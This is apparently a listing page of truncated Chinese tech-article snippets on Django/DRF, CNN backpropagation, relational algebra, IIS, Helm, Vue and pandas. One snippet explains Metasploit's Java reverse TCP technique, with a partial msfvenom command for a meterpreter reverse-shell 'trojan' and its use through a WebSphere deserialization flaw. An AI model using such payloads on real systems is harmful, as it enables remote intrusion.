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DRF中多对多ManytoMany字段的更新和添加

背景:drf的序列化器给模型输出带来了便利但是对于多对多字段网上查询的内容却是很少(也有可能是本人不会搜答案)经过我多个日夜的摸索,终于实现了我的需求,现将自己的心得记录一下说下我的需求:定义一个订单模型里面的订单...将获取到的id实例 传入序列化器中再把需要更新的字段传入data obj_serializer = OrderCenterThoughSerializer(instance=obj...id i['order_id'] = serializer.instance.pk # 组建新的中间表数据传入序列化器中 ojb = OrderCenterThoughSerializer...serializer.data) return Response(serializer.data, status=status.HTTP_201_CREATED, headers=headers)总结:具体的作用已经写在上面的代码注释中...,在写的时候又发现了代码中的几个bug1、可以更新不是订单人的菜品2、更新的时候只能更新已经生成的菜品内容,因为无法为订单添加新的菜品,这个涉及到中间表中的对应关系已经确定了。

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    CNN的反向传播DNN中的反向传播卷积神经网络中的反向传播

    DNN中的反向传播 反向传播算法是神经网络的训练的基本算法组成之一,在训练神经网络时,训练分为两个步骤:计算梯度和更新权值。其中反向传播负责的是梯度的计算,而训练算法的区分主要在更新权值的方式上。...于是梯度的计算被分为反向传播链条上的几个部分,将复杂的求导分割为层内运算的求导,上一层的梯度可以由本层的梯度递归的求出。...卷积神经网络中的反向传播 卷积神经网络相比于多层感知机,增加了两种新的层次——卷积层与池化层。由于反向传播链的存在,要求出这两种层结构的梯度,仅需要解决输出对权值的梯度即可。...池化层的梯度 池化层用于削减数据量,在这一层上前向传播的数据会有损失,则在反向传播时,传播来的梯度也会有所损失。一般来说,池化层没有参数,于是仅需要计算梯度反向传播的结果。...理论分析 池化层的反向传播的方法是upsample,先将矩阵还原成原大小,之后: 对于最大值池化,将梯度放置于每个池化区域取得最大值的位置,其他位置为0 对于平均值池化,则把的所有子矩阵的各个池化局域的值取平均后放在还原后的子矩阵位置

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    数据库中关系代数中的关系运算

    除法运算的定义: ? 这个概念的描述的非常抽象,刚开始学习的同学完全不知所云。这里通过一个实例来说明除法运算的求解过程: 设有关系R、S 如图所示,求R÷S 的结果: ?...求解步骤过程: 第一步:找出关系R和关系S中相同的属性,即Y属性。在关系S中对Y做投影(即将Y列取出);所得结果如下: ?...第二步:被除关系R中与S中不相同的属性列是X,关系R在属性(X)上做取消重复值的投影为{X1,X2}; 第三步:求关系R中X属性对应的像集Y 根据关系R的记录,可以得到与X1值有关的记录,如图3...第四步:判断包含关系 R÷S其实就是判断关系R中X各个值的像集Y是否包含关系S中属性Y的所有值。...对比即可发现: X1的像集只有Y1,不能包含关系S中属性Y的所有值,所以排除掉X1; 而X2的像集包含了关系S中属性Y的所有值,所以R÷S的最终结果就是X2 , ?

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    IIS 反向代理 Tomcat中的网站

    前言 之前说过用Apache和Nginx做代理来访问Tomcat中的项目..../yxemail /来矫正Cookie的路径 所以IIS配置反向代理的时候就不能带项目名 带项目名就会导致Session失效 也就是说IIS做反向代理 又要考虑Session 就必须去掉Tomcat中项目访问链接中的项目名...Tomcat中要配置一个HOST IIS中要配置URL地址的入站规则 和 HTTP响应头或内容的出站规则 配置Tomcat 中 appBase中的项目 在Tomcat启动时会重新加载 所以多个Host中的appBase一样的话 就会导致一个项目被加载多遍 这样 网站目前可以用...html内容根据规则替换里面的url 添加规则 选择出站规则中的空白规则 设置项名称 设置项内容 名称 随便写 匹配范围 响应 匹配一下范围中的内容 除自定义外全选 模式 (.):8080/(.)

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    helm中的依赖关系

    Helm是一个作用于k8s的包管理工具。类似于其它的包管理工具如apt/yum ,应用开发者可以管理应用包chart之间的依赖关系,以便于部署复杂的k8s应用。...定义依赖关系在 helm中,一个 chart 可以依赖于任何数量的其他 chart。这些依赖关系可以在chart.yaml中的 dependencies字段定义。...该命令会检查依赖中的chart是否存在于charts/中并且处于可接受的版本,否则将拉取满足依赖关系的最新chart,并清理旧的依赖关系。...我们可以在父chart的values.yaml中定义相应的字段来管理子chart的值。...高级别的 chart 可以访问下面定义的所有变量。安装顺序说明值得注意的是,虽然我们可以在helm中定义依赖关系,但在安装过程中,并不会根据依赖关系顺序进行安装。

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    Django中的关系映射

    什么是关系映射? 在关系型数据库中,通常不会把所有数据都放在同一张表中,不易于扩展。...一对一映射(创建) 一对一是表示现实事物间存在的一对一的对应关系。...') 反向查询 没有外键属性的一方,可以调用反向属性查询到关联的另一方 反向关联的属性为实例对象.引用类名(小写) 当反向引用不存在的时候,则会触发异常 当UserId类中定义了外键约束...---- 一对多是表现现实事物存在的一对多的对应关系,例如一个学校有多个班级,一个班级有多个学生,一本书只能属于一个出版社,一个出版社可以出多本书。...MySQL中创建多对多需要以来第三张表来完成 Django中无需手动创建,Django自动完成 语法:在关联的两个类中的任意一个类中models.ManyToManyField(MyModel

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    django模板之的html模板中调用对

    在项目名称目录下,添加模板目录并在其下添加应用的模板目录: ]# mkdir -p templates/bookshop 在主url路由配置文件中,添加查找应用url的路由: ]# vim test4/...import views urlpatterns = [     url(r'\^$',views.index,name='index'), ] 以上基本配置完成,下面演示在模板中调用对象的方法: 定义模型类...    book = models.ForeignKey('BookInfo') #定义外键,此处引号是否可省略,BookInfo先定义就可省略引号,如果后定义则需要使用引号,使用引号绝对没错;在表中字段自动变为...--调用对象的属性--> {{hero.showname}}的方法,但不能给方法传递参数--> 模板文件中调用对象的属性和对象的方法。

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    Metasploit中的JAVA反向TCP做法的研究

    在该工程的详细介绍中,提到了一种使用metasploit进行shell反弹的做法。研究了该做法后,对于其设计的巧妙深感佩服,遂介绍一下给大家。...2.metasploit中的JAVA反向TCP有什么用 通常,一个漏洞利用,可能会遇到两个讨厌的问题: 如前言中所述,我们可以执行某个命令,但是没办法感知命令执行的结果,于是就变成一个只能搞“破坏”,但是无法被利用起来的漏洞...3.metasploit中如何建立JAVA的反向TCP连接 首先,我们用以下命令来生成“木马”: msfvenom --payload="java/meterpreter/reverse_tcp" LHOST...然后我们利用metasploit来建立服务器 之后如果木马被执行,则会建立起一个连接 最后,就可以连接木马来执行命令了 4.metasploit中JAVA反向TCP的技术内幕 首先,我必须要对“木马”作者们表示由衷的敬佩...5.在反序列化中的应用 基本上,就是利用这个漏洞利用工程,将我们的木马上传到WebSphere,并开始起“发酵”过程。

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    关系代数中的除法运算

    除法运算的定义: ?   RS÷S的意义就是:“在R和S的联系RS中,找出与S中所有的元组有关系的R元组”。   这个概念的描述的非常抽象,刚开始学习的同学完全不知所云。...这里通过一个实例来说明除法运算的求解过程    设有关系R、S 如图所示,求R÷S 的结果 ?       求解步骤过程:      第一步:找出关系R和关系S中相同的属性,即Y属性。...第二步:被除关系R中与S中不相同的属性列是X ,关系R在属性(X)上做取消重复值的投影为{X1,X2};       第三步:求关系R中X属性对应的像集Y                       ...第四步:判断包含关系                    R÷S其实就是判断关系R中X各个值的像集Y是否包含关系S中属性Y的所有值。...对比即可发现:                    X1的像集只有Y1,不能包含关系S中属性Y的所有值,所以排除掉X1;                    而X2的像集包含了关系S中属性Y的所有值

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    五大方法添加条件列-python类比excel中的lookup

    excel 中的 lookup最像的 方法一:映射 apply |map + lambda # 方法一 apply |map + lambda df1 = df.copy() df1['评级'] =...# 在conditions列表中的第一个条件得到满足,values列表中的第一个值将作为新特征中该样本的值,以此类推 df6 = df.copy() conditions = [ (df6['...lookup 方法五 数据分箱pd.cut()——最类似于excel 中 lookup的方法 pd.cut( x, bins, right=True, labels=None, retbins=False...,是进行分组的依据, 如果填入整数n,则表示将x中的数值分成等宽的n份(即每一组内的最大值与最小值之差约相等); 如果是标量序列,序列中的数值表示用来分档的分界值 如果是间隔索引,“ bins”的间隔索引必须不重叠...duplicates:如果分箱临界值不唯一,则引发ValueError或丢弃非唯一 # 方法五 数据分箱pd.cut()——最类似于excel 中 lookup的方法 df7 = df.copy() bins

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    Vue中的模板编译原理

    先看下模板到真正用户看到的界面过程中经历了什么: 模板———>模板编译——>渲染函数——>vnode——>用于界面 vue.js提供了模板语法,允许我们声明式的描述状态和DOM之间的绑定关系。...将模板编译为渲染函数,就是模板编译要做的事,模板编译可以分为三个阶段: 1.将模板解析为AST(抽象语法树)—— 解析器。 2.遍历AST标记静态节点 —— 优化器。...每截取一段标签的开头就 push 到 stack中,解析到标签的结束就 pop 出来,当所有的字符串都截没了也就解析完了。..., children) 的函数调用字符串,然后 data 和 children 也是使用 AST 中的属性去拼字符串。...如果 children 中还有 children 则递归去拼。 最后拼出一个完整的 render 函数代码。

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